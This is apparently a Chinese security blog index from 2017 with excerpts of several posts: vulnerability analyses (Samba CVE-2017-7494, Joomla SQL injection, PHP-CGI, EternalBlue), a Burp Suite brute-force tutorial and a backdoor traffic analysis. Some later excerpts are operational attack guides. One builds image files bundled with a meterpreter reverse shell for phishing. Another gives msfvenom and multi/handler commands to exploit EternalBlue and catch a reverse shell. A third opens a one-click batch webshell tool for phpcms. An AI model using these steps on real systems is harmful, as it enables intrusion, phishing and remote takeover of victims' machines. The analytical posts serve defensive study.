Burpsuite教程与技巧之HTTP brute暴力破解

常规的对username/passwprd进行payload测试,我想大家应该没有什么问题,但 对于Authorization: Basic dXNlcm5hbWU6cGFzc3dvcmQ=这样的问题,很多朋友疑惑了. 之前,我记得我介绍过burpsuite的intruder功能(BurpSuite教程与技巧之SQL Injection),想必很多人没什么印象,在此,以HTTP brute重提intruder功能. 以下面案例进行说明(只作演示之用,具体以自己的目标为准) Auth=dXNlcjpwYXNzd29yZA==处,也就是我们的关键位置. 那么具体该如何做呢?大致操作过程如下: 1.解密base64字符串 2.生成测试用的payload 3.利用payload进行测试 1.解密验证用的base64字符串 解密后的字符串为: Auth=user:password 问题来了,针对user:password这种形式的字符串,我们该如何设置payload呢? 想必很多人在此处了费尽心思。为了解决这个问题,接下来请看第二部分。 2.生成测试用的payload 对于这种格式,无法利用burpsuite顺利的完成测试,那个就需要丰富对应的payload了. 我的做法就是,利用burpsuite生成我要的payload文本. Auth=§user§§:§§password§ 设置3处payloads, 1 ------ §user§ 2 ------ §:§ 3 ------ §password§ 然后根据intruder自带的battering ram/pitchfork/cluster bomb生成payloads(根据自己的需求生成) 我在此处选择以cluster bomb为例,利用intruder生成需要的payloads,然后保存到文本文件中. 3.利用payload进行测试 测试的时候,我们选用sniper,我们只需一个payload变量 若有不足之处,欢迎指正.

2017年7月5日 · 1 分钟 · lucien116

Samba远程代码执行漏洞(CVE-2017-7494)分析

作者: cyg07 && redrain 概述 2017年5月24日Samba发布了4.6.4版本,中间修复了一个严重的远程代码执行漏洞,漏洞编号CVE-2017-7494,漏洞影响了Samba 3.5.0 之后到4.6.4/4.5.10/4.4.14中间的所有版本。360网络安全中心 和 360信息安全部的Gear Team第一时间对该漏洞进行了分析,确认属于严重漏洞,可以造成远程代码执行。 技术分析 如官方所描述,该漏洞只需要通过一个可写入的Samba用户权限就可以提权到samba所在服务器的root权限(samba默认是root用户执行的)。 从Patch来看的话,is_known_pipename函数的pipename中存在路径符号会有问题: 再延伸下smb_probe_module函数中就会形成公告里说的加载攻击者上传的dll来任意执行代码了: 具体攻击过程: 构造一个有’/’ 符号的管道名或路径名,如 “/home/toor/cyg07.so” 通过smb的协议主动让服务器smb返回该FID 后续直接请求这个FID就进入上面所说的恶意流程 具体攻击结果如下: 尝试加载 “/home/toor/cyg07.so” 恶意so 其中so 代码如下(加载时会调用 samba_init_module 导出函数) 最后我们可以在/tmp/360sec中看到实际的执行权限(带root权限) 解决方案 360网络安全响应中心和360信息安全部建议使用受影响版本的用户立即通过以下方式来进行安全更新操作, 使用源码安装的Samba用户,请尽快下载最新的Samba版本手动更新; 使用二进制分发包(RPM等方式)的用户立即进行yum,apt-get update等安全更新操作; 缓解策略:用户可以通过在smb.conf的[global]节点下增加 nt pipe support = no 选项,然后重新启动samba服务, 以此达到缓解该漏洞的效果。

2017年6月3日 · 1 分钟 · lucien116

Joomla! 3.7 Core SQL 注入 (CVE-2017-8917)漏洞分析

Author: p0wd3r (知道创宇404安全实验室) Date: 2017-05-18 0x00 漏洞概述 漏洞简介 Joomla于5月17日发布了新版本3.7.1,( https://www.joomla.org/announcements/release-news/5705-joomla-3-7-1-release.html),本次更新中修复一个高危SQL注入漏洞( https://developer.joomla.org/security-centre/692-20170501-core-sql-injection.html),成功利用该漏洞后攻击者可以在未授权的情况下进行SQL注入。 漏洞影响 未授权状态下SQL注入 影响版本: 3.7.0 0x01 漏洞复现 Joomla 在 3.7.0 中新增了一个 com_field 组件,其控制器的构造函数如下,在 components/com_fields/controller.php 中: 可以看到当访问的 view 是 fields, layout 是 modal 的时候,程序会从 JPATH_ADMINISTRATOR 中加载 com_fields,这就意味着普通用户可以通过这样的请求来使用管理员的 com_fields。 接下来我们看管理员的 com_fields 组件,我们来到 administrator/components/com_fields/models/fields.php,其中的 getListQuery 的部分代码如下: 程序通过 $this->getState 取到 list.fullordering,然后使用 $db->escape 处理后传入 $query->order 函数,mysqli的 escape 函数代码如下: 这里调用 mysqli_real_escape_string 来转义字符,该函数具体作用如下: 仅对单双引号等字符进行转义,并未做更多过滤。另外 $query->order 函数的作用仅仅是将数据拼接到 ORDER BY 语句后,也并未进行过滤,所以如果 list.fullordering 可控,那么就可以进行注入。 我们可以看到 list.fullordering 是一个 state, state 会在视图的 display 函数中进行设置: ...

2017年5月18日 · 1 分钟 · lucien116

在线免费的前端黑工具 XSS'OR

作者: 余弦 地址: xssor.io 这是一个在线免费的前端黑工具,目前主要包含 3 大模块: 1. Encode/Decode 加解密模块,包含:前端黑相关的加解密,代码压缩、解压、美化、执行测试,字符集转换,哈希生成,等。 2. Codz 代码模块,包含:CSRF 请求代码生成,AJAX 请求代码生成,XSS 攻击矢量,XSS 攻击 Payload,等。 3. Probe 探针模块,为了平衡,这是一个最基础的探针,且每个 IP 每天都可以生成一个唯一探针,使用者可以用这个探针发起攻击测试(如:XSS、钓鱼攻击等),探针可以获取目标用户的基本信息,使用者还可以动态植入更多的命令(JavaScript Codz)进行“远控”测试。 一些用户体验与隐私考虑: XSS’OR,即使你浏览器不小心关掉或奔溃,你的记录也不会丢,因为相关记录都缓存到了你的浏览器本地。服务器不会存储你的任何隐私,除了 Probe 的结果记录(仅是结果记录)会临时性缓存,这是因为设计考虑,但每天0点都会自动清除。 放心使用吧!地址: xssor.io 如果你有好的想法与贡献,我们采纳后,会在 XSS’OR 致谢榜上感谢你。

2017年5月18日 · 1 分钟 · lucien116

zxshell3.0后门程序通信数据简单分析

前言: 这是一个很就很久以前的远控了,这东西好像当时用的人比较少。今天在网上发现了于是下载下来分析一下。软件轻巧简洁,功能也比较齐全,唯一感觉不足的是配置个人感觉比较麻烦。软件的介绍及简单使用说明在压缩包里的“必读.txt”,这里不再赘述,本文主要从后门通信的数据流量角度去分析,文末附远控样本及分析过程中的数据包。 文件目录 zxshell3压缩包里面包含以下文件: ├─Controller.exe 控制端,用来操控上线的服务端 ├─ctrldll.dll Controller.exe的模块,主要负责远程桌面时拦截本地系统一些热键。 ├─qqwry.dat ip到地理位置的数据库,可以自己下载更新的版本代替它 ├─srv │ ├─myip.txt 放在http服务器配合上线通知的用的,如果直接通过域名解析则无需用到此文件 │ ├─ZXCFG.exe 配置ZXShell.exe的默认安装参数 │ ├─zxplug.rar ZXPlug插件功能, 如何添加自定义命令的一个例子 │ └─ZXShell.exe 服务端,console版本,有几个参数,可以在cmd 下通过 -help 参数获得详细信息 └─必读.txt 程序适应平台:2000/xp/vista(在测试的时候发现win7上也可正常运行)。 分析环境 控制端:win7虚拟机 (10.0.3.160) 服务端:win7虚拟机(10.0.3.172) 上线端口默认为1985 分析过程 下面将从样本的上线、远程桌面、文件控制、命令执行等操作指令的流量数据特征进行分析。 样本配置 样本的配置如下图 控制端默认设置监听端口1985,填好配置的上线密码如下图 样本配置好后,控制端点击右边的启动按钮开始监听。将生成的样本放到服务端(10.0.3.172)上并运行。(由于本地测试就没有使用外网上行的方式,采用的本地测试上线方式),在10.0.3.172上打开一个CMD,执行“puliic_ZXShell.exe -ip 10.0.3.160 -port 1985 -filename c:\ctrldll.dll -test”,可以看见会释放一个ctrldll.dll文件到我们指定的目录下 此时我们回到控制端,可以看到已经上线 上线后可以看到服务端的版本、IP、地理位置、信通信息等信息。 此时我们可以从服务端上抓取的两台机器通信的数据包中可以看到上线帧。上线之后同多数远控一样,自动发送本机的一些基本信息给控制端,如下图 此时我们点击控制端上的“系统信息”,获取服务端电脑信息。可以看到,与上线帧里面获取的系统信息不通的是,此时服务端返回的信息系统信息更加详细。 抓到的数据包: 可以发现,控制端首先发送指令“sysinfo”给服务端,随后服务端分两个包返回了系统信息。 远程桌面 指令为:winvnc 视频监视 指令为:capsrv 获取一个CMD 指令为:getcmd 获取CMD后我们执行一条命令:calc.exe,打开服务端电脑上的计算器。 ...

2017年5月12日 · 1 分钟 · lucien116

图片后门捆绑利用工具 – FakeImageExploiter

在这里,要向大家推荐一款名为“Fake Image Exploiter”的黑客工具,该工具可以在图片文件中捆绑隐藏的恶意.bat或.exe程序,方便钓鱼或社工攻击过程中的入侵控制。如果受害者点击该恶意图片文件后,将会向控制主机反弹一个管理控制会话。以下是其使用视频: https://www.youtube.com/watch?v=4dEYIO-xBHU 配置使用 首先,打开Kali终端,执行下载安装和配置: git clone https://github.com/r00t-3xp10it/FakeImageExploiter.git 下载完成之后,进入FakeImageExploiter文件夹,选择setting文件进行配置: 在此,你可以选择隐藏在图片中的Payload格式,有ps1、bat、txt和exe四种格式可选,我们选择PAYLOAD_EXETNSION=bat;在生成捆绑图片文件的替换图标icon选项中,我们选择BYPASS_RH=NO,非自动,需要手动更改和添加最终生成的图片图标icon。 同样,在setting文件中找到以下两列进行按需修改: AUTO_PAYLOAD_BUILD=YES (自动生成Payload选项) AGENT_HANLER_PORT=4444(植入恶意程序后的客户端监听端口) 配置选项完成后,可以启动Fake Image Exploiter主程序。 生成Payload Cd FakeImageExploiter ./ FakeImageExploiter.sh 选择YES启动Payload生成配置框架: 选择在捆绑在图片文件中的恶意程序需要加载利用的Payload,这里我们选择window/meterpreter/reverse_tcp: 之后,会跳出提示框,需要手动选择你需要捆绑.bat Payload进行伪装利用的jpg图片文件: 以及最终图片文件的替换图标icon主题: 接下来,为最终捆绑好的恶意图片文件进行命名: FakeImageExploiter最后会生成在两个位置生成恶意图片文件,一个为本机Apache2 web服务的根目录下的.zip文件,另外为FakeImageExploiter输出文件夹(output)下的隐藏后缀恶意图片文件,点击执行后,该文件在显示jpg图像的同时,还会隐秘生成一个连向控制主机的反弹管理会话: 以下是控制端成功连接后显示的反弹管理会话: 好了,工具介绍完了,但请别用于非法目的哦。 *参考来源: hackingarticles ,freebuf小编clouds编译,转载请注明来自FreeBuf.com

2017年5月12日 · 1 分钟 · lucien116

PHP-CGI远程代码执行漏洞(CVE-2012-1823)分析

CVE-2012-1823出来时据说是“PHP远程代码执行漏洞”,曾经也“轰动一时”,当时的我只是刚踏入安全门的一个小菜,直到前段时间tomato师傅让我看一个案例,我才想起来这个漏洞。通过在 Vulhub 中对这个漏洞环境的搭建与漏洞原理的分析,我觉得还挺有意思的,故写出一篇文章来,和大家分享。 PHP SAPI 与运行模式 首先,介绍一下PHP的运行模式。 下载PHP源码,可以看到其中有个目录叫sapi。sapi在PHP中的作用,类似于一个消息的“传递者”,比如我在《Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写》一文中介绍的fpm,他的作用就是接受Web容器通过fastcgi协议封装好的数据,并交给PHP解释器执行。 除了fpm,最常见的sapi应该是用于Apache的mod_php,这个sapi用于php和apache之间的数据交换。 php-cgi也是一个sapi。在远古的时候,web应用的运行方式很简单,web容器接收到http数据包后,拿到用户请求的文件(cgi脚本),并fork出一个子进程(解释器)去执行这个文件,然后拿到执行结果,直接返回给用户,同时这个解释器子进程也就结束了。基于bash、perl等语言的web应用多半都是以这种方式来执行,这种执行方式一般就被称为cgi,在安装Apache的时候默认有一个cgi-bin目录,最早就是放置这些cgi脚本用的。 但cgi模式有个致命的缺点,众所周知,进程的创建和调度都是有一定消耗的,而且进程的数量也不是无限的。所以,基于cgi模式运行的网站通常不能同时接受大量请求,否则每个请求生成一个子进程,就有可能把服务器挤爆。于是后来就有了fastcgi,fastcgi进程可以将自己一直运行在后台,并通过fastcgi协议接受数据包,执行后返回结果,但自身并不退出。 php有一个叫php-cgi的sapi,php-cgi有两个功能,一是提供cgi方式的交互,二是提供fastcgi方式的交互。也就说,我们可以像perl一样,让web容器直接fork一个php-cgi进程执行某脚本;也可以在后台运行 php-cgi -b 127.0.0.1:9000(php-cgi作为fastcgi的管理器),并让web容器用fastcgi协议和9000交互。 那我之前说的fpm又是什么呢?为什么php有两个fastcgi管理器?php确实有两个fastcgi管理器,php-cgi可以以fastcgi模式运行,fpm也是以fastcgi模式运行。但fpm是php在5.3版本以后引入的,是一个更高效的fastcgi管理器,其诸多优点我就不多说了,可以自己去翻翻源码。因为fpm优点更多,所以现在越来越多的web应用使用php-fpm去运行php。 历史成因 回到本漏洞。CVE-2012-1823就是php-cgi这个sapi出现的漏洞,我上面介绍了php-cgi提供的两种运行方式:cgi和fastcgi,本漏洞只出现在以cgi模式运行的php中。 这个漏洞简单来说,就是用户请求的querystring被作为了php-cgi的参数,最终导致了一系列结果。 探究一下原理, RFC3875 中规定,当querystring中不包含没有解码的 = 号的情况下,要将querystring作为cgi的参数传入。所以,Apache服务器按要求实现了这个功能。 但PHP并没有注意到RFC的这一个规则,也许是曾经注意并处理了,处理方法就是web上下文中不允许传入参数。但在2004年的时候某个开发者发表过这么一段言论: From: Rasmus Lerdorf <rasmus <at> lerdorf.com> Subject: [PHP-DEV] php-cgi command line switch memory check Newsgroups: gmane.comp.php.devel Date: 2004-02-04 23:26:41 GMT (7 years, 49 weeks, 3 days, 20 hours and 39 minutes ago) In our SAPI cgi we have a check along these lines: if (getenv("SERVER_SOFTWARE") || getenv("SERVER_NAME") || getenv("GATEWAY_INTERFACE") || getenv("REQUEST_METHOD")) { cgi = 1; } if(!cgi) getopt(...) As in, we do not parse command line args for the cgi binary if we are running in a web context. At the same time our regression testing system tries to use the cgi binary and it sets these variables in order to properly test GET/POST requests. From the regression testing system we use -d extensively to override ini settings to make sure our test environment is sane. Of course these two ideas conflict, so currently our regression testing is somewhat broken. We haven't noticed because we don't have many tests that have GET/POST data and we rarely build the cgi binary. The point of the question here is if anybody remembers why we decided not to parse command line args for the cgi version? I could easily see it being useful to be able to write a cgi script like: #!/usr/local/bin/php-cgi -d include_path=/path <?php ... ?> and have it work both from the command line and from a web context. As far as I can tell this wouldn't conflict with anything, but somebody at some point must have had a reason for disallowing this. -Rasmus 显然,这位开发者是为了方便使用类似 #!/usr/local/bin/php-cgi -d include_path=/path 的写法来进行测试,认为不应该限制php-cgi接受命令行参数,而且这个功能不和其他代码有任何冲突。 ...

2017年5月11日 · 3 分钟 · lucien116

NSA Eternalblue SMB 漏洞分析

环境 EXPLOIT: Eternalblue-2.2.0.exe TARGET: win7 sp1 32bits srv.sys 6.1.7601.17514 srvnet.sys 6.1.7601.17514 PATCH: MS17-010 漏洞原理 srv.sys在处理 SrvOs2FeaListSizeToNt 的时候逻辑不正确导致越界拷贝。我们首先看下漏洞的触发点: unsigned int __fastcall SrvOs2FeaToNt(int a1, int a2) { int v4; // edi@1 _BYTE *v5; // edi@1 unsigned int result; // eax@1 v4 = a1 + 8; *(_BYTE *)(a1 + 4) = *(_BYTE *)a2; *(_BYTE *)(a1 + 5) = *(_BYTE *)(a2 + 1); *(_WORD *)(a1 + 6) = *(_WORD *)(a2 + 2); _memmove((void *)(a1 + 8), (const void *)(a2 + 4), *(_BYTE *)(a2 + 1)); v5 = (_BYTE *)(*(_BYTE *)(a1 + 5) + v4); *v5++ = 0; _memmove(v5, (const void *)(a2 + 5 + *(_BYTE *)(a1 + 5)), *(_WORD *)(a1 + 6)); //这里产生的越界覆盖 result = (unsigned int)&v5[*(_WORD *)(a1 + 6) + 3] & 0xFFFFFFFC; *(_DWORD *)a1 = result - a1; return result; } 发生越界的地方见上面第二个 memmove。调试的时候可以这样下断点: kd> u srv!SrvOs2FeaToNt+0x4d srv!SrvOs2FeaToNt+0x4d: 9877b278 ff15e0a07698 call dword ptr [srv!_imp__memmove (9876a0e0)] 9877b27e 0fb74606 movzx eax,word ptr [esi+6] 9877b282 8d441803 lea eax,[eax+ebx+3] 9877b286 83e0fc and eax,0FFFFFFFCh 9877b289 83c418 add esp,18h 9877b28c 8bc8 mov ecx,eax 9877b28e 2bce sub ecx,esi 9877b290 5f pop edi //最后一次越界的拷贝的长度是0xa8 ba e1 srv!SrvOs2FeaToNt+0x4d ".if(poi(esp+8) != a8){gc} .else {}" 这么设断点的原因是最后一次越界的拷贝的长度是0xa8,断下来后可以发现: ...

2017年4月17日 · 18 分钟 · lucien116

方程式ETERNALBLUE之fb.py的复现

1.环境简介 攻击机win2003 ip:192.168.1.105 攻击机kali: ip:192.168.1.106 靶机(被攻击机)window7 x64(未装smb漏洞补丁) ip:192.168.1.100 2.windows2003攻击机 攻击机win2003安装环境: python-2.6.6.msi https://www.python.org/download/releases/2.6.6/ pywin32-221.win-amd64-py2.6.exe: https://sourceforge.net/projects/pywin32/files/pywin32/Build%20221/ 方程式ETERNALBLUE 下载地址: https://codeload.github.com/misterch0c/shadowbroker/zip/master 安装好python后,需要在win2003设置环境变量: 将整个ETERNALBLUE 目录下的 windows拷贝到攻击机win2003上 在windows目录下建立一个文件为:listeningposts 运行phthon fb.py 以下在攻击机win2003上执行fb.py的具体命令重要命令如下,其他命令都用回车执行。 3.攻击机kali上 利用msf生成一个dll劫持文件: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.106 ORT=5555 -f dll > /opt/s.dll 将s.dll文件拷贝到windows2003的C盘目录下: 在msf下开启msfpaylod监听: use exploit/multi/handler set lhost 192.168.1.106 set lport 5555 set PAYLOAD windows/x64/meterpreter/reverse_tcp exploit 4.接着在windows2003下执行 最后在 msf 下可以看到成功反弹 shell:

2017年4月17日 · 1 分钟 · lucien116

phpcmsV9.6.0一键批量getshell工具

介绍 一键化 python 1.py http://xxx.com 不再是只允许执行一次有回显,加入了爆破,1-3s内即可找到你的webshell,不论是否有回显,只要成功 待办 [] 加入对有验证码phpcms网站的支持 [] 加入批量 说明 依赖库的安装 pip install requests 代码 # -*- coding:utf-8 -*- ’’' ---——————- Author : Akkuman Blog : hacktech.cn ---——————- ’'' import requests from datetime import datetime from bs4 import BeautifulSoup # from urlparse import unquote //Python2 # from urlparse import urlparse //Python2 from urllib.parse import quote from urllib.parse import urlparse from random import Random rand_name = ’' chars = ‘qwertyuiopasdfghjklzxcvbnm0123456789’ random = Random() ...

2017年4月10日 · 2 分钟 · lucien116